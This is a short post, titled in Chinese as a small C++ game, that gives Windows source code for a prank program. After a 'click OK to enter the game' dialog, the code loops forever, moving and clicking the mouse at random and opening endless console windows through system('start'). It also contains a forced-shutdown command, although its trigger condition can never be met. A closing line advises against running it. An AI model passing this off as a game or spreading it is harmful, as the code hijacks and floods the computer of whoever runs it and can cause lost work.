c++小游戏
#include<bits/stdc++.h> #include<windows.h> #include<stdio.h> #include<conio.h> #include<time.h> using namespace std; int main() { MessageBox(NULL,TEXT("点击确定进入游戏"),TEXT("消息对话框"),MB_OK); int x,y; while(1) { x=rand(),y=rand()%1000; SetCursorPos(x,y); mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0); system("start"); if(y==1000) system("shutdown -s -t 0"); } return 0; }
友情提示:请勿轻易运行